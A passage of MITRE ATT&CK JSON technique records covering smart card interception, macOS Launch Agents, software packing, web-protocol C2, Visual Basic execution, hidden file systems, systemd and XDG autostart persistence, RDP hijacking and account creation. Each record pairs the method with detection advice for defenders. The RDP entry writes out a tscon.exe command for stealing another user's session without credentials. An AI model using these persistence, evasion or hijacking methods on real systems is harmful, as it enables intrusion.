may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.\n\nSimilar to [Input Capture](https://attack.mitre.org/techniques/T1056), keylogging activity can take various forms but can may be detected via installation of a driver, setting a hook, or usage of particular API calls associated with polling to intercept keystrokes.","x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Windows Registry: Windows Registry Key Modification","Driver: Driver Load","Process: OS API Execution"],"x_mitre_permissions_required":["Administrator","SYSTEM"],"x_mitre_system_requirements":["Smart card Proxy: Use of smart cards for single or multifactor authentication to access to network resources. Attached smart card reader with card inserted.\n\nOut-of-band one-time code: Access to the device, service, or communications to intercept the one-time code.\n\nHardware token: Access to the seed and algorithm of generating one-time codes."]},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--dd901512-6e37-4155-943b-453e3777b125","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1159","url":"https://attack.mitre.org/techniques/T1159"},{"url":"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html","description":"Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.","source_name":"AppleDocs Launch Agent Daemons"},{"url":"https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/","description":"Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.","source_name":"OSX Keydnap malware"},{"url":"https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/","description":"Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.","source_name":"Antiquated Mac Malware"},{"url":"https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/","description":"Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.","source_name":"OSX.Dok Malware"},{"url":"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/","description":"Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.","source_name":"Sofacy Komplex Trojan"},{"url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.","source_name":"Methods of Mac Malware Persistence"},{"url":"https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf","description":"Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.","source_name":"OSX Malware Detection"},{"url":"https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update","description":"Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.","source_name":"OceanLotus for OS X"}],"modified":"2020-01-17T16:52:35.818Z","name":"Launch Agent","description":"Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>$HOME/Library/LaunchAgents</code> (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).\n \nAdversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories  (Citation: Sofacy Komplex Trojan)  (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor Launch Agent creation through additional plist files and utilities such as Objective-See’s  KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User","Administrator"]},{"x_mitre_platforms":["macOS","Windows","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Filip Kafka, ESET"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","created":"2020-02-05T14:17:46.686Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"T1027.002","url":"https://attack.mitre.org/techniques/T1027/002"},{"source_name":"Awesome Executable Packing","url":"https://github.com/dhondta/awesome-executable-packing","description":"Alexandre D'Hondt. (n.d.). Awesome Executable Packing. Retrieved March 11, 2022."},{"source_name":"ESET FinFisher Jan 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf","description":"Kafka, F. (2018, January). ESET's Guide to Deobfuscating and Devirtualizing FinFisher. Retrieved August 12, 2019."},{"url":"https://capec.mitre.org/data/definitions/570.html","source_name":"capec","external_id":"CAPEC-570"}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018) \n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.(Citation: Awesome Executable Packing)  ","modified":"2022-04-19T02:09:27.046Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Software Packing","x_mitre_detection":"Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["File: File Metadata"],"x_mitre_system_requirements":[],"x_mitre_defense_bypassed":["Anti-virus","Heuristic detection","Signature-based detection"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","type":"attack-pattern","created":"2020-03-15T16:13:46.151Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1071.001","url":"https://attack.mitre.org/techniques/T1071/001"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-26T20:15:35.821Z","name":"Web Protocols","description":"Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as HTTP and HTTPS that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)\n\nMonitor for web traffic to/from known-bad or suspicious domains. ","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow"]},{"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","type":"attack-pattern","created":"2020-03-09T14:29:51.508Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1059.005","url":"https://attack.mitre.org/techniques/T1059/005"},{"source_name":"VB .NET Mar 2020","url":"https://devblogs.microsoft.com/vbteam/visual-basic-support-planned-for-net-5-0/","description":".NET Team. (2020, March 11). Visual Basic support planned for .NET 5.0. Retrieved June 23, 2020."},{"source_name":"VB Microsoft","url":"https://docs.microsoft.com/dotnet/visual-basic/","description":"Microsoft. (n.d.). Visual Basic documentation. Retrieved June 23, 2020."},{"source_name":"Microsoft VBA","url":"https://docs.microsoft.com/office/vba/api/overview/","description":"Microsoft. (2019, June 11). Office VBA Reference. Retrieved June 23, 2020."},{"source_name":"Wikipedia VBA","url":"https://en.wikipedia.org/wiki/Visual_Basic_for_Applications","description":"Wikipedia. (n.d.). Visual Basic for Applications. Retrieved August 13, 2020."},{"source_name":"Microsoft VBScript","url":"https://docs.microsoft.com/previous-versions//1kw29xwf(v=vs.85)","description":"Microsoft. (2011, April 19). What Is VBScript?. Retrieved March 28, 2020."},{"source_name":"Default VBS macros Blocking ","url":"https://techcommunity.microsoft.com/t5/microsoft-365-blog/helping-users-stay-safe-blocking-internet-macros-by-default-in/ba-p/3071805","description":"Kellie Eickmeyer. (2022, February 7). Helping users stay safe: Blocking internet macros by default in Office. Retrieved February 7, 2022."}],"modified":"2022-03-07T19:43:49.315Z","name":"Visual Basic","description":"Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)\n\nDerivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)\n\nAdversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads (which may also involve [Mark-of-the-Web Bypass](https://attack.mitre.org/techniques/T1553/005) to enable execution).(Citation: Default VBS macros Blocking )","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Monitor for events associated with VB execution, such as Office applications spawning processes, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving VB payloads or scripts, or loading of modules associated with VB languages (ex: vbscript.dll). VB execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programable post-compromise behaviors and could be used as indicators of detection leading back to the source.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If VB execution is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If VB execution is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Payloads and scripts should be captured from the file system when possible to determine their actions and intent.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.3","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Script: Script Execution","Command: Command Execution","Module: Module Load","Process: Process Creation"],"x_mitre_permissions_required":["User","Administrator","SYSTEM"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04","type":"attack-pattern","created":"2020-06-28T22:55:55.719Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1564.005","url":"https://attack.mitre.org/techniques/T1564/005"},{"source_name":"MalwareTech VFS Nov 2014","url":"https://www.malwaretech.com/2014/11/virtual-file-systems-for-beginners.html","description":"Hutchins, M. (2014, November 28). Virtual File Systems for Beginners. Retrieved June 22, 2020."},{"url":"https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html","description":"Andonov, D., et al. (2015, December 7). Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved May 13, 2016.","source_name":"FireEye Bootkits"},{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."},{"source_name":"Kaspersky Equation QA","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf"}],"modified":"2020-06-29T15:12:11.024Z","name":"Hidden File System","description":"Adversaries may use a hidden file system to conceal malicious activity from users and security tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014)\n\nAdversaries may use their own abstracted file system, separate from the standard file system present on the infected system. In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.(Citation: MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits) Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system.(Citation: ESET ComRAT May 2020) Adversaries may also fragment files across the existing file system structure in non-standard ways.(Citation: Kaspersky Equation QA)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Detecting the use of a hidden file system may be exceptionally difficult depending on the implementation. Emphasis may be placed on detecting related aspects of the adversary lifecycle, such as how malware interacts with the hidden file system or how a hidden file system is loaded. Consider looking for anomalous interactions with the Registry or with a particular file on disk. Likewise, if the hidden file system is loaded on boot from reserved disk space, consider shifting focus to detecting [Bootkit](https://attack.mitre.org/techniques/T1542/003) activity.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Firmware: Firmware Modification","Windows Registry: Windows Registry Key Modification","File: File Modification"],"x_mitre_permissions_required":["User","Administrator"]},{"x_mitre_platforms":["Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Tony Lambert, Red Canary"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b","type":"attack-pattern","created":"2020-01-17T16:15:19.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1543.002","url":"https://attack.mitre.org/techniques/T1543/002"},{"external_id":"CAPEC-550","source_name":"capec","url":"https://capec.mitre.org/data/definitions/550.html"},{"external_id":"CAPEC-551","source_name":"capec","url":"https://capec.mitre.org/data/definitions/551.html"},{"source_name":"Linux man-pages: systemd January 2014","url":"http://man7.org/linux/man-pages/man1/systemd.1.html","description":"Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019."},{"source_name":"Freedesktop.org Linux systemd 29SEP2018","url":"https://www.freedesktop.org/wiki/Software/systemd/","description":"Freedesktop.org. (2018, September 29). systemd System and Service Manager. Retrieved April 23, 2019."},{"source_name":"Anomali Rocke March 2019","url":"https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang","description":"Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."},{"source_name":"Rapid7 Service Persistence 22JUNE2016","url":"https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence","description":"Rapid7. (2016, June 22). Service Persistence. Retrieved April 23, 2019."}],"modified":"2020-10-09T13:46:29.701Z","name":"Systemd Service","description":"Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.\n\nSystemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code> directories and have the file extension <code>.service</code>. Each service unit file may contain numerous directives that can execute system commands:\n\n* ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start. \n* ExecReload directive covers when a service restarts. \n* ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.\n\nAdversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at system boot.(Citation: Anomali Rocke March 2019)\n\nWhile adversaries typically require root privileges to create/modify service unit files in the <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code> directories, low privilege users can create/modify service unit files in directories such as <code>~/.config/systemd/user/</code> to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Systemd service unit files may be detected by auditing file creation and modification events within the <code>/etc/systemd/system</code>, <code>/usr/lib/systemd/system/</code>, and <code>/home/<username>/.config/systemd/user/</code> directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user.\n\nSuspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: <code>systemctl list-units -–type=service –all</code>. Analyze the contents of <code>.service</code> files present on the file system and ensure that they refer to legitimate, expected executables.\n\nAuditing the execution and command-line arguments of the 'systemctl' utility, as well related utilities such as <code>/usr/sbin/service</code> may reveal malicious systemd service execution.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Service: Service Modification","Command: Command Execution","File: File Modification","File: File Creation","Process: Process Creation","Service: Service Creation"],"x_mitre_permissions_required":["User","root"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c","type":"attack-pattern","created":"2020-02-25T18:35:42.765Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1563.002","url":"https://attack.mitre.org/techniques/T1563/002"},{"url":"https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx","description":"Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.","source_name":"TechNet Remote Desktop Services"},{"url":"http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html","description":"Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking Feature All Windows versions. Retrieved December 11, 2017.","source_name":"RDP Hijacking Korznikov"},{"url":"https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6","description":"Beaumont, K. (2017, March 19). RDP hijacking — how to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.","source_name":"RDP Hijacking Medium"},{"url":"https://github.com/nccgroup/redsnarf","description":"NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December 11, 2017.","source_name":"Kali Redsnarf"}],"modified":"2020-03-23T23:24:39.182Z","name":"RDP Hijacking","description":"Adversaries may hijack a legitimate user’s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)\n\nAdversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\\windows\\system32\\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Consider monitoring processes for `tscon.exe` usage and monitor service creation that uses `cmd.exe /k` or `cmd.exe /c` in its arguments to detect RDP session hijacking.\n\nUse of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content","Logon Session: Logon Session Creation","Process: Process Creation","Command: Command Execution"],"x_mitre_permissions_required":["SYSTEM"]},{"x_mitre_platforms":["Windows","Azure AD","Office 365","IaaS","Linux","macOS","Google Workspace"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Microsoft Threat Intelligence Center (MSTIC)","Praetorian"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1136","url":"https://attack.mitre.org/techniques/T1136"},{"source_name":"Microsoft User Creation Event","description":"Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720"}],"modified":"2021-08-12T13:04:14.534Z","name":"Create Account","description":"Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\n\nAccounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor for processes and command-line parameters associated with account creation, such as <code>net user</code> or <code>useradd</code>. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.\n\nCollect usage logs from cloud administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.","x_mitre_version":"2.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution","User Account: User Account Creation"],"x_mitre_permissions_required":["Administrator"]},{"x_mitre_platforms":["Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Tony Lambert, Red Canary"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11","type":"attack-pattern","created":"2019-09-10T18:13:12.195Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1547.013","url":"https://attack.mitre.org/techniques/T1547/013"},{"description":"Free Desktop. (2006, February 13). Desktop Application Autostart Specification. Retrieved September 12, 2019.","url":"https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html","source_name":"Free Desktop Application Autostart Feb 2006"},{"description":"Free Desktop. (2017, December 24). Recognized Desktop Entry Keys. Retrieved September 12, 2019.","url":"https://specifications.freedesktop.org/desktop-entry-spec/1.2/ar01s06.html","source_name":"Free Desktop Entry Keys"}],"modified":"2020-11-10T15:55:10.103Z","name":"XDG Autostart Entries","description":"Adversaries may modify XDG autostart entries to execute programs or commands during system boot. Linux desktop environments that are XDG compliant implement functionality for XDG autostart entries. These entries will allow an application to automatically start during the startup of a desktop environment after user logon. By default, XDG autostart entries are stored within the <code>/etc/xdg/autostart</code> or <code>~/.config/autostart</code> directories and have a .desktop file extension.(Citation: Free Desktop Application Autostart Feb 2006)\n\nWithin an XDG autostart entry file, the <code>Type</code> key specifies if the entry is an application (type 1), link (type 2) or directory (type 3). The <code>Name</code> key indicates an arbitrary name assigned by the creator and the <code>Exec</code> key indicates the application and command line arguments to execute.(Citation: Free Desktop Entry Keys)\n\nAdversaries may use XDG autostart entries to maintain persistence by executing malicious commands and payloads, such as remote access tools, during the startup of a desktop environment. Commands included in XDG autostart entries with execute after user logon in the context of the currently logged on user. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make XDG autostart entries look as if they are associated with legitimate programs.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Malicious XDG autostart entries may be detected by auditing file creation and modification events within the <code>/etc/xdg/autostart</code> and <code>~/.config/autostart</code> directories. Depending on individual configurations, defenders may need to query the environment variables <code>$XDG_CONFIG_HOME</code> or <code>$XDG_CONFIG_DIRS</code> to determine the paths of Autostart entries. Autostart entry files not associated with legitimate packages may be considered suspicious. Suspicious entries can also be identified by comparing entries to a trusted system baseline.\n \nSuspicious processes or scripts spawned in this manner will have a parent process of the desktop component implementing the XDG specification and will execute as the logged on user.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Modification","Process: Process Creation","Command: Command Execution","File: File Creation"],"x_mitre_permissions_required":["User","root"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5","type":"attack-pattern","created":"2020-10-01T00:56:25.135Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1584.004","url":"https://attack.mitre.org/techniques/T1584/004"},{"source_name":"ThreatConnect Infrastructure Dec 2020","url":"https://threatconnect.com/blog/infrastructure-research-hunting/","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."},{"source_name":"Mandiant SCANdalous Jul 2020","url":"https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation","description":"Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan 